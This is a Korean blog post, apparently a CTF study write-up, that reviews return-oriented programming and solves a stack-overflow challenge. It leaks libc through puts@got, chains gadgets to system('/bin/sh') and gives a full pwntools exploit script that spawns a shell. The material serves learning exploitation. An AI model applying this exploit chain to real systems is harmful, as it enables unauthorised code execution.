ROP 에 대한 복습
ret 에 gadget과 함수의 주소를 연속적으로 연결해 공격자가 원하는 실행흐름으로 공격
일반적인 프로세스의 함수 흐름 : start -> libc_start_main -> main -> libc_start_main -> start
main에서 ret 이 수행되면, libc_start_main 으로 실행 흐름이 옮겨진다.
Ret Overwrite : main함수의 ret의 반환주소를 다른 주소로 덮어 실행흐름을 옮기는 것
ROP : gadget을 활용해 이전에 호출한 적이 없는 함수 호출
gadget : ret으로 끝나는 어셈블리어 코드 조각
함수를 호출하기 전, 가젯을 이용하여 원하는 인자값을 전달한 후, 함수를 호출해준다.
- ex) rdi 셋팅 :
p64(pop_rdi_ret 가젯의 주소) + p64(rdi값)
- ex) 이후, 마지막 ret을 read함수 주소로 덮어 원하는 프로그램 흐름을 만들 수 있다.
- ex) rdi 셋팅 :
이상적인 형태로 가젯이 존재하지 않은 경우?
- 가젯이 있는데, 원하는 레지스터 뿐만 아니라 다른 레지스터도 호출하는 가젯이 있을 수 있음
- => 걍 쓰면됨 (다른 레지스터 참조 안할거니까..)
- 특정 레지스터를 호출하는 가젯이 없을 수 있음.\
- =>
libc
라이브러리에서 참조하면됨. - 라이브러리 함수를 참조할 때, 라이브러리에 있는 모든 함수를 가져와 참조한다. ( 라이브러리 전체가 프로세스 메모리에 통째로 매핑됨 (
system함수
와../bin/sh 문자열
까지..)- 라이브러리 안에서 데이터들간 거리는 보통 고정되어있다.
- =>
- 가젯이 있는데, 원하는 레지스터 뿐만 아니라 다른 레지스터도 호출하는 가젯이 있을 수 있음
Exploit? 참고
- 출력 함수(puts)를 이용하여 특정함수(puts)의 got주소를 출력시켜 특정변수(puts_got)에 저장해둔다.
puts_got - puts_offset
로libc_base
를 구한다.libc_base + system_offset
로system()
의 실제 주소를 얻는다.
- "/bin/sh" 문자열이 저장되어있는 주소를 찾거나, 쓰기권한이 있는 .bss 영역 등에 해당 문자열을 저장해 해당 /bin/sh 문자열을 쓸 수 있다.
- got overwrite :
read()
로puts()
의 got에system()
의 실제주소를 저장한다. - puts_plt를 호출하면, 덮은 got를 참조하여 system()이 실행된다.
- 그냥 바로 system()의 실제주소를 ret에 저장해도되긴함.
- 인자로 .bss영역의
/bin/sh
문자열 주소, 또는 libc에서의/bin/sh
의 주소를 넣어주면 system("/bin/sh") 호출됨.
ROP 예제
해당 문제는 시원포럼 절평 CTF에서의 echo 문제를 복습차원에서 사용하였습니다. (감사합니다)
문제 분석
Docker 파일을 통해 사용한 libc버전을 gpt에서 알려달라해서 가져오거나, Docker을 돌려서 libc를 가져오자.
실행 결과
Input Name :
이후 이름 입력Input msg :
이후 메세지 입력- 입력한 이름 출력
이름's msg : 메세지
출력
보호기법 확인
NX Enable => 우회를 위해 ROP 를 사용해야겠다.
IDA를 이용한 디컴파일 결과 코드
- buf[0x1c] 에 0x20 만큼 입력
- v4[0x10] 에 v6만큼 입력
- 입력받은 buf, v4 출력
Stack 구조
stack 을 간단하게 그려보았다.
가젯 확인
pop rdi; ret;
가젯이 있어 Exploit 이 수월할 것 같다.
Exploit
공격 시나리오는 다음과 같다.
1. v6을 바꿔 v4의 입력값을 무한하게 만든다.
2. ROP chaining : puts(puts_got) -> main
3. Get System func addr, /bin/sh addr
4. ROP chaining : system(/bin/sh)
- puts를 한 번 실행 했기때문에, puts@got 에는 libc에서의 puts의 실제 주소가 들어있다.
puts_got = elf.get['puts']
: got 테이블 자체의 주소- puts_got 를 puts에 넣어서 출력하면, puts_got에 들어있는 libc에서의 puts 함수 주소가 나온다.
- u64(p.recvline()[:-1].ljust(8, b"\x00")) 이런식으로 8bytes align 이 필요하다.
v6 값 바꾸기
buf과 v6의 오프셋이 0x20-0x4 이므로, 해당 크기만큼 b'A'를 채워준 후, v6의 값을 크게 지정해준다.
- int에 4byte 만큼 지정해야하므로, p32() 사용
payload = b'A'*(0x20-0x4) + p32(1000)
p.sendafter(b'Input Name : `, payload)
rop chaining : puts(puts_got) 호출 및 main 함수 호출
puts_plt 를 호출하여 puts_got 를 출력한 후, main 함수를 호출한다.
gdb 로 열어보면, 디버깅 심볼이 숨겨져있음을 알 수 있다. (elf.symbols['main'] 못 잡음)
ida나, gdb에서
start
->b *__libc_start_main
-> 'c' ->b *$rdi
를 통해 main 함수의 주소를 알아보자.
# 2. ROP chaining : v4
payload_2 = b'A'*(0x30) + b'S'*0x8
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got) # rdi = puts@got 주소
payload_2 += p64(elf.sym.puts) # puts(puts@got주소) 호출 : puts@got 내용 출력 # payload_2 += p64(puts_plt)로 plt자체를 호출해도됨
payload_2 += p64(main_addr) # main 호출
p.sendafter(b'Input msg : ',payload_2)
system 함수 주소와 /bin/sh 주소 구하기
in_puts_got = u64(p.recvline()[:-1].ljust(8, b"\x00")) # 8bytes 만들기위해 오른쪽에 00넣어 align 해주기
libc_base = in_puts_got - libc.sym.puts # puts_got - puts_offset
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
rop chaining : system(/bin/sh) 호출하기
- movaps 문제를 방지하기위해 system 함수 호출 전
ret
시켜주기 (인자 셋팅 전, 후 상관없음)- movaps 문제는 system("/bin/sh") 실행 중에 발생하는데, 이 문제의 핵심 원인은 스택 정렬이 16바이트 단위가 아닐 때 발생
- 이로 인해 SIGSEGV(segmentation fault) 또는 alignment error가 발생.
payload_3 = b'A'*(0x30) + b'S'*0x8
payload_3 += p64(ret)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh_addr)
payload_3 += p64(system_addr)
전체 코드
from pwn import *
p = process('./prob')
libc = ELF('./libc.so.6')
elf = ELF('./prob')
# 0. 바이너리에서 pop rdi; ret, ret 가젯 찾기
rop = ROP(elf)
pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0] # pop rdi; ret 가젯
ret = (rop.find_gadget(['ret']))[0] # ret 가젯
# ret = 0x000000000040101a
# pop_rdi = 0x000000000040119d
# 0. 바이너리 내에서 plt 및 got 찾기
puts_plt = elf.plt['puts']
main_addr = 0x4011a2
puts_got = elf.got['puts']
# 1. v6 overwrite : buf 입력 길이 지정하기
payload_1 = b'\x00'*(0x20-0x4) + p32(1000)
p.sendafter(b'Input Name : ',payload_1)
# 2. ROP chaining : v4
payload_2 = b'A'*(0x30) + b'S'*0x8
payload_2 += p64(pop_rdi)
payload_2 += p64(puts_got) # rdi = puts@got 주소
payload_2 += p64(puts_plt) # puts(puts@got주소) 호출 : puts@got 내용 출력
payload_2 += p64(main_addr) # main 호출
# log.info("payload_2 : ", payload_2)
p.sendafter(b'Input msg : ',payload_2)
p.recvline()
# in_puts_got 는 libc내부의 puts() 주소를 의미한다.
# libc 내부의 함수들 간의 거리는 일정하다는 것을 이용해야한다.
in_puts_got = u64(p.recvline()[:-1].ljust(8, b"\x00")) # 8bytes 만들기위해 오른쪽에 00넣어 align 해주기
libc_base = in_puts_got - libc.sym.puts # puts_got - puts_offset
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# 3. main 재호출 후 system(/bin/sh) 호출
## v6 overwrite
p.sendafter(b'Input Name : ',payload_1)
## system(/bin/sh) 호출
payload_3 = b'A'*(0x30) + b'S'*0x8
#payload_3 += p64(ret)
payload_3 += p64(pop_rdi)
payload_3 += p64(binsh_addr)
payload_3 += p64(ret)
payload_3 += p64(system_addr)
log.info(payload_3)
#gdb.attach(p)
p.sendafter(b'Input msg : ',payload_3)
#pause()
p.interactive()
'Pwn' 카테고리의 다른 글
[PWN Dreamhack] PIE & RELRO (0) | 2025.03.13 |
---|---|
[PWN Dreamhack] basic_rop_x64 & basic_rop_x86 (0) | 2025.03.10 |
[PWN Dreamhack] RTL, ROP (0) | 2025.02.22 |
[PWN Dreamhack] Stack Canary (0) | 2025.02.21 |
[PWN Dreamhack] BOF (0) | 2025.02.21 |